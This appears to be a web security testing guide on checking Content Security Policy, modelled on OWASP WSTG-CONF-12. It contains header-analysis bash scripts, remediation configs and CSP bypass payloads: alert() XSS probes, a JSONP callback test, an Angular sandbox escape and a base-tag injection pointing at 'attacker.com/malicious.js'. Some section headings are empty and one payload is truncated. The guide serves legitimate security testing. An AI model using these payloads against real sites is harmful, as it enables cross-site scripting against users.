Wstg Conf 12

wstg-conf-12

Test ID

WSTG-CONF-12

Test Name

Test for Content Security Policy (CSP)

High-Level Description

Content Security Policy (CSP) is a security mechanism that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks. CSP defines which sources of content are allowed to be loaded and executed by the browser. This test evaluates whether CSP is implemented correctly and identifies misconfigurations that could allow attackers to bypass the policy.

What to Check

CSP Implementation

• CSP header present
• CSP meta tag usage
• Report-Only mode vs enforcement
• Policy completeness

Dangerous Directives

Key Directives

How to Test

Step 1: Retrieve CSP Header

# Check HTTP header
curl -sI https://target.com | grep -i content-security-policy

# Full header output
curl -sI https://target.com | grep -iE 'content-security-policy|x-frame-options|x-content-type'

# Check meta tag
curl -s https://target.com | grep -i "content-security-policy"

Step 2: Analyze CSP Policy

#!/bin/bash
TARGET=$1

echo "=== CSP ANALYSIS ==="
csp=$(curl -sI "https://$TARGET" | grep -i "content-security-policy:" | sed 's/content-security-policy://i')

if [ -z "$csp" ]; then
    echo "[FAIL] No CSP header found!"
    exit 1
fi

echo "Policy: $csp"
echo ""

# Check for dangerous patterns
echo "[+] Checking for dangerous patterns..."

if echo "$csp" | grep -qi "unsafe-inline"; then
    echo "  [HIGH] unsafe-inline detected - XSS possible"
fi

if echo "$csp" | grep -qi "unsafe-eval"; then
    echo "  [HIGH] unsafe-eval detected - eval() allowed"
fi

if echo "$csp" | grep -qE "script-src[^;]*\*"; then
    echo "  [HIGH] Wildcard in script-src"
fi

if echo "$csp" | grep -qE "default-src[^;]*\*"; then
    echo "  [HIGH] Wildcard in default-src"
fi

if ! echo "$csp" | grep -qi "frame-ancestors"; then
    echo "  [MEDIUM] Missing frame-ancestors - clickjacking possible"
fi

if ! echo "$csp" | grep -qi "object-src"; then
    echo "  [MEDIUM] Missing object-src"
fi

if echo "$csp" | grep -qi "data:"; then
    echo "  [MEDIUM] data: URI allowed"
fi

echo ""
echo "[+] Analysis complete"

Step 3: Test CSP Bypass Vectors

1. Check for JSONP Endpoints

# If whitelisted domain has JSONP
# Policy: script-src 'self' https://trusted.com

# Test JSONP callback
curl -s "https://trusted.com/api?callback=alert(1)"

# If callback is reflected, CSP can be bypassed

2. Check for Angular/Template Injection

<!-- If Angular is loaded and unsafe-eval not blocked -->
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>

3. Check for Base URI Injection

<!-- If base-uri not set -->
<base href="https://attacker.com/" />
<script src="/malicious.js"></script>

Step 4: Browser DevTools Analysis

1. Open DevTools (F12)
2. Go to Console tab
3. Look for CSP violation reports
4. Network tab > filter by "report" for CSP reports

Step 5: CSP Evaluator Tools

# Google CSP Evaluator (online)
# https://csp-evaluator.withgoogle.com/

# Local analysis with csp-evaluator
npm install -g csp-evaluator
csp-evaluator "script-src 'self' 'unsafe-inline'"

Tools

Online Tools

Browser Extensions

Burp Extensions

Example Commands/Payloads

Comprehensive CSP Analyzer

#!/bin/bash
TARGET=$1

echo "=== CSP SECURITY ANALYSIS ==="
echo "Target: $TARGET"
echo ""

# Get CSP header
csp_header=$(curl -sI "https://$TARGET" | grep -i "^content-security-policy:" | cut -d: -f2-)
csp_ro=$(curl -sI "https://$TARGET" | grep -i "^content-security-policy-report-only:" | cut -d: -f2-)

# Get CSP meta tag
csp_meta=$(curl -s "https://$TARGET" | grep -oP '(?<=<meta http-equiv="Content-Security-Policy" content=")[^"]+')

if [ -z "$csp_header" ] && [ -z "$csp_meta" ]; then
    echo "[CRITICAL] No CSP implemented!"
    exit 1
fi

csp="${csp_header:-$csp_meta}"
echo "Policy found: ${csp:0:100}..."
echo ""

# Analysis
echo "[+] Directive Analysis:"

# Script-src
script_src=$(echo "$csp" | grep -oP "script-src[^;]*")
if [ -z "$script_src" ]; then
    echo "  script-src: Not defined (falls back to default-src)"
else
    echo "  script-src: $script_src"

    if echo "$script_src" | grep -q "unsafe-inline"; then
        echo "    [!] RISK: unsafe-inline allows XSS"
    fi
    if echo "$script_src" | grep -q "unsafe-eval"; then
        echo "    [!] RISK: unsafe-eval allows code execution"
    fi
fi

# Default-src
default_src=$(echo "$csp" | grep -oP "default-src[^;]*")
echo "  default-src: ${default_src:-Not defined}"

# Frame-ancestors
frame_ancestors=$(echo "$csp" | grep -oP "frame-ancestors[^;]*")
if [ -z "$frame_ancestors" ]; then
    echo "  frame-ancestors: [!] MISSING - Clickjacking possible"
else
    echo "  frame-ancestors: $frame_ancestors"
fi

# Object-src
object_src=$(echo "$csp" | grep -oP "object-src[^;]*")
if [ -z "$object_src" ]; then
    echo "  object-src: [!] MISSING - Plugin attacks possible"
else
    echo "  object-src: $object_src"
fi

# Base-uri
base_uri=$(echo "$csp" | grep -oP "base-uri[^;]*")
if [ -z "$base_uri" ]; then
    echo "  base-uri: [!] MISSING - Base tag injection possible"
else
    echo "  base-uri: $base_uri"
fi

echo ""
echo "[+] Use Google CSP Evaluator for detailed analysis:"
echo "    https://csp-evaluator.withgoogle.com/"

CSP Bypass Test Payloads

<!-- Test for unsafe-inline bypass -->
<script>
  alert("XSS")
</script>

<!-- Test for event handler bypass -->
<img src="x" />

<!-- Test for data: URI -->
<script src="data:text/javascript,alert('XSS')"></script>

<!-- Test for JSONP bypass -->
<script src="https://whitelisted.com/jsonp?callback=alert"></script>

<!-- Angular sandbox bypass (old versions) -->
{{constructor.constructor('alert(1)')()}}

Remediation Guide

1. Implement Strict CSP

# Recommended strict policy (nonce-based)
Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random}' 'strict-dynamic';
    style-src 'self' 'nonce-{random}';
    img-src 'self' data: https:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'self';
    form-action 'self';
    upgrade-insecure-requests;

2. Web Server Configuration

Apache

Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; object-src 'none'; frame-ancestors 'self';"

Nginx

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; object-src 'none'; frame-ancestors 'self';" always;

3. Use Report-Only First

# Test policy without breaking functionality
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

4. Implementation Steps

1. Start with Report-Only mode
2. Analyze violation reports
3. Whitelist necessary sources
4. Avoid unsafe-inline/unsafe-eval
5. Use nonces or hashes for inline scripts
6. Deploy enforcing policy

Risk Assessment

CVSS Score

CWE Categories

References

• OWASP WSTG - Test for Content Security Policy
• Google CSP Evaluator
• MDN CSP Documentation
• OWASP CSP Cheat Sheet

Checklist

[ ] CSP header present
[ ] CSP meta tag checked
[ ] Policy completeness verified
[ ] unsafe-inline usage checked
[ ] unsafe-eval usage checked
[ ] Wildcard sources identified
[ ] frame-ancestors present
[ ] object-src restricted
[ ] base-uri restricted
[ ] JSONP bypass vectors tested
[ ] Report-Only vs enforcing verified
[ ] CSP Evaluator analysis done
[ ] Bypass possibilities documented
[ ] Remediation recommendations provided